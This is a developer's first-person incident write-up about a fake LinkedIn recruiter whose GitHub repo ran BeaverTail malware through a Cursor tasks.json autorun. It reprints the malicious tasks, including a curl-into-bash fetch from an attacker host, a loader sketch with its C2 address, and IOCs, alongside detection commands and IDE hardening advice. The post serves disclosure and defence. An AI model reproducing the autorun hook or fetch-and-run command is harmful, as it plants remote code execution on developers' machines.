TL;DR: A "LinkedIn recruiter" connected me to a "GameFi project advisor opportunity." It was DPRK Lazarus. The malware ran the moment I opened the repo in Cursor, because of one default setting that most devs leave wide open. I caught it, scoped it, and neutralized it using Claude Code as an incident-response tool. Here's what happened, what to change in your IDE today, and how to use an AI agent to hunt malware on your own machine.
The Bait
A LinkedIn message landed in my inbox:
"Hi Alex, I came across your profile and was really impressed by your background... We're currently building a decentralized gaming platform... $4.3M budget allocated for this phase... we're looking for a Technical Advisor who can join us this year."
Standard Web3-recruiter pattern. The sender was "Ariagine Gabriel," ostensibly an assistant. After I sent a Calendly link, she scheduled a call and looped in her "manager" — Steve Bullard, with the email steve@remotely-limitbreak.com.
Three things felt off when I checked before the call:
- Real Limit Break (Gabriel Leydon's Web3 gaming company, $200M raise, 97 employees) lives at
limitbreak.com— notremotely-limitbreak.com. - WHOIS on
remotely-limitbreak.com: registered 2026-01-29 via Hostinger, parked DNS, no live website, MX pointed at hostinger forwarders. - Hetzner's
88.99.241.111(we'll come back to this) lit up later.
I almost cancelled the call. I should have.
The Mistake
Before the call, the operator sent me a GitHub link — LimitBreak-Hub/Bet-Pokler, allegedly a "MVP poker DApp" they wanted my read on. I cloned it. I opened it in Cursor.
git clone --recurse-submodules git@github.com:LimitBreak-Hub/Bet-Pokler.git
cd Bet-Pokler
cursor .
That cursor . is when it ran.
What Actually Happened
The repo's .vscode/tasks.json had runOn: folderOpen tasks. Cursor honored them silently. There were two:
{
"label": "install-root-modules",
"type": "shell",
"command": "npm install --silent --no-progress",
"runOptions": { "runOn": "folderOpen" }
}
{
"label": "env",
"type": "shell",
"osx": {
"command": "curl -L 'https://vscode-settings-422.vercel.app/api/settings/mac' | bash"
}
}
The first installed a tampered node_modules (BeaverTail dropper hidden in obfuscated dependencies). The second piped a remote shell script into bash. The script:
- Downloaded
env-setup.jsandpackage.jsonto~/.vscode/ - Ran
npm installthere - Launched
env-setup.js— the BeaverTail loader
I caught the loader's full source live by reading the running process arguments. It's a tight ~80 lines, beautifully obfuscated, doing the same thing every published BeaverTail variant does:
const t = "http://88.99.241.111:1224/"; // C2
let s = "<handleCode>"; // session token
// every ~10s POST /api/checkHealth with hostname/IP/MAC/OS
// receive { messages: [JS_payloads...] }
// for each payload: spawn(node, ["-"], { detached: true }) and pipe payload to stdin
// → arbitrary JS execution as user, parent-detached, full RCE
Translated: every ten seconds, the operator could ship me a new JavaScript blob and I'd run it. For the ~90 minutes between cursor . and noticing, they had a live RCE shell on my dev machine — the one with my SSH keys, my GitHub PATs, my AWS creds, my browser-stored crypto wallets.
This is BeaverTail / InvisibleFerret, the DPRK Lazarus "Contagious Interview" campaign. New 2026 variant: instead of asking the victim to run npm install manually during a "coding interview," they trigger it the second the IDE opens the folder.
The Cursor / VS Code Default That Makes This Possible
Look at this line in your ~/Library/Application Support/Cursor/User/settings.json (or Code/User/settings.json):
"security.workspace.trust.untrustedFiles": "open"
If you've ever had a freshly cloned repo nag you about Workspace Trust and clicked "trust" once too many times, this setting probably ended up there. Mine did. Mine had been there for a year.
What it does: it tells the IDE to automatically open files from untrusted folders without asking — and in current Cursor and VS Code, that flag also disables the prompt for autorun tasks. So tasks.json with runOn: folderOpen runs silently the moment you cd-and-cursor.
The supposedly-protective Workspace Trust dialog only fires once per folder. After you click "Trust" — or if untrustedFiles: "open" is set globally — there is no second line of defense.
This is the footgun. It's lying in your settings.json right now if you've used VS Code or any of its forks (VS Code, Cursor, Antigravity, Windsurf, Codium) seriously for a few months.
Fix it now, before you finish reading this post:
{
"security.workspace.trust.untrustedFiles": "prompt",
"security.workspace.trust.enabled": true,
"security.workspace.trust.startupPrompt": "always",
"task.allowAutomaticTasks": "off"
}
Apply this to every VS-Code-fork in ~/Library/Application Support/<editor>/User/settings.json. On Linux they're under ~/.config/<editor>/User/settings.json. On Windows, %APPDATA%\<editor>\User\settings.json.
(Zed, by the way, doesn't honor tasks.json autorun by design. If you don't trust your repos, Zed is a safer default than Cursor right now.)
How I Caught It: Claude Code as an Antivirus
I had reflexively deleted some bootstrap files (~/.vscode/env-setup.js, ~/.vscode/vscode-bootstrap.sh) before I understood what I was dealing with. I thought I was clean. I wasn't.
What I did next is the part I want every developer to internalize: I opened a Claude Code session and walked it through incident response, step by step, using Bash and Grep and Read as the entire toolkit. No EDR. No paid AV. Just an LLM with shell access running my own sudo-less reads.
Here's the rough sequence — copy this for your own runbook:
1. Live network state. What sockets exist that shouldn't?
lsof -nP -iTCP -sTCP:ESTABLISHED | grep -v ":443"
I found two node processes connected to 88.99.241.111:1224. Hetzner. Port 1224 was a giveaway — that's the documented BeaverTail C2 port.
2. Process forensics. Whose children are those? ps -axww -o pid,ppid,command -p $PID printed the entire inline JavaScript payload as the command argument. Reading the literal C2 URL, the agent ID, the polling loop, and the spawn-children-via-node - trick directly out of ps output is the moment I knew exactly what I was infected with — not by IOC matching against a database, but by reading the malware's source code from the process table.
3. Persistence sweep. Where would Stage 2 hide?
ls -la ~/.npl ~/.n2 ~/.config/.npl 2>&1 # InvisibleFerret stage 2
ls -la ~/Library/LaunchAgents/ # macOS user persistence
find ~/Library/LaunchAgents /Library/LaunchAgents \
/Library/LaunchDaemons -newermt "today" -type f
crontab -l
ls -la ~/.ssh/ # new authorized_keys?
diff <(cat ~/.zshrc ~/.zprofile ~/.bash_profile ~/.profile) <(cat .backup)
Negative across the board. Stage 1 only — they hadn't escalated yet.
4. Window of compromise. What was modified during the attack?
find /Users/alun -newermt "13:00" ! -newermt "14:30" -type f \
| grep -ivE "/Library/Caches|/Library/Logs|node_modules"
This narrowed it to a tractable list: a few Cursor cache writes, the Bet-Pokler dir, nothing in critical paths. Useful confirmation.
5. Source identification. The env vars on the malicious processes (ps eww -p $PID) showed:
PWD=/Users/alun/.vscode
OLDPWD=/Users/alun/Bet-Pokler
TERM_PROGRAM=vscode
__CFBundleIdentifier=com.todesktop.230313mzl4w4u92 # Cursor
Definitive: launched from a Cursor terminal session, working directory was the malicious repo. Vector confirmed.
The thing I want to underline: Claude Code ran every command above in parallel where it could, kept all the output in a coherent thread, and at every step said "now check this, because the previous output suggests..." — making it dramatically faster than my own one-thread brain. It didn't replace my judgment; it removed all the friction between intuition and verification. For incident response on a personal machine — where you don't have a SOC, an EDR, or a team — this is a force multiplier I didn't realize was sitting in my dock.
Mitigation
After confirming Stage 1 only, no persistence:
1. Block the C2 infrastructure
sudo tee -a /etc/hosts > /dev/null <<'EOF'
# Bet-Pokler / BeaverTail C2 block
0.0.0.0 vscode-settings-422.vercel.app
0.0.0.0 ip-checking-notification-422.vercel.app
EOF
sudo dscacheutil -flushcache && sudo killall -HUP mDNSResponder
(/etc/hosts doesn't block raw IPs — for 88.99.241.111 you need pf or a firewall app. I installed LuLu, Patrick Wardle's free outbound firewall, immediately after.)
2. Patch every VS Code fork's settings.json with the safe values shown earlier.
3. Reboot, change my macOS user password. Forces keychain re-unlock, kills any in-memory stragglers, invalidates active browser sessions.
4. Credential rotation, in priority order, from a fresh browser profile (so any compromised cookies/extensions can't intercept the new credentials):
- GitHub — revoke SSH keys, all PATs, OAuth apps, sign-out everywhere, change password, generate fresh
id_ed25519 - Anthropic API key — revoke + new
- Google account — sign out devices, change password, audit OAuth apps
- AWS, GCP — rotate access keys, revoke gcloud auth
- Bitwarden master password
- Any crypto wallet that touched the machine — assume seed phrase compromised, generate new wallet on a clean device, migrate funds
- Any service whose 2FA was a TOTP stored in Bitwarden or browser
5. Quarantine the malicious repo rather than deleting:
mv ~/Bet-Pokler ~/.MALWARE-bet-pokler-2026-05-01
chmod 000 ~/.MALWARE-bet-pokler-2026-05-01
(Keeping the sample for forensics and abuse reports.)
6. Report.
- GitHub Trust & Safety — the repo (taken down)
- Vercel abuse —
vscode-settings-422.vercel.app,ip-checking-notification-422.vercel.app - Hetzner abuse —
88.99.241.111 - LinkedIn — both fake profiles, plus a Trust & Safety scam ticket with screenshots
IOCs (for community correlation)
Repo: github.com/LimitBreak-Hub/Bet-Pokler
C2 IP: 88.99.241.111:1224 (Hetzner)
C2 paths: /api/checkHealth, /api/reportErrors
Domains: vscode-settings-422.vercel.app
ip-checking-notification-422.vercel.app (base64 in repo .env AUTH_API)
remotely-limitbreak.com (Hostinger, registered 2026-01-29)
Email: steve@remotely-limitbreak.com
LinkedIn: Ariagine Gabriel (assistant persona)
Steve Bullard (manager persona)
Family: BeaverTail / InvisibleFerret (DPRK Lazarus, Contagious Interview)
Variant: 2026 — IDE tasks.json autorun trigger (vs. legacy "run npm install" social-engineered prompt)
The base64 string for AUTH_API (worth grepping across infra if you operate hosting):
aHR0cHM6Ly9pcC1jaGVja2luZy1ub3RpZmljYXRpb24tNDIyLnZlcmNlbC5hcHAvYXBp
Three Takeaways
1. Your IDE's defaults are part of your threat model. security.workspace.trust.untrustedFiles: "open" makes a git clone && cursor . a remote code execution primitive against you. Audit yours today. Send this post to your team. It takes 30 seconds to fix and you will never notice the difference in your workflow.
2. The "AI assistant for code" is also an AI assistant for incident response. Most of us don't have an EDR on our personal dev machine. We have a clone of Claude Code with shell access. That is enough to scope, hunt, and neutralize a stage-1 RCE in an evening — provided you can describe what you saw and what you want checked. Don't let the dev-flow framing of these tools blind you to their power as forensic copilots.
3. The recruiter pitch hasn't changed in five years; the delivery vector keeps getting closer to your editor. "Take a look at this take-home repo" used to mean npm test. Now it means opening the folder. Treat any first-touch repo from a stranger like a USB stick from a parking lot. If you must look, do it in a Docker dev container or a separate macOS user with no keys. Or just open it in Zed.
Reports filed: GitHub (repo taken down), Vercel abuse, Hetzner abuse, LinkedIn Trust & Safety. If you operate a hosting platform and want to grep the IOCs above against your fleet, please do.
If your team would like a 30-minute walk-through of what to change in your VS-Code-fork rollout, or how to set up Claude Code as an IR copilot, give us a call. Book a 30-minute call.
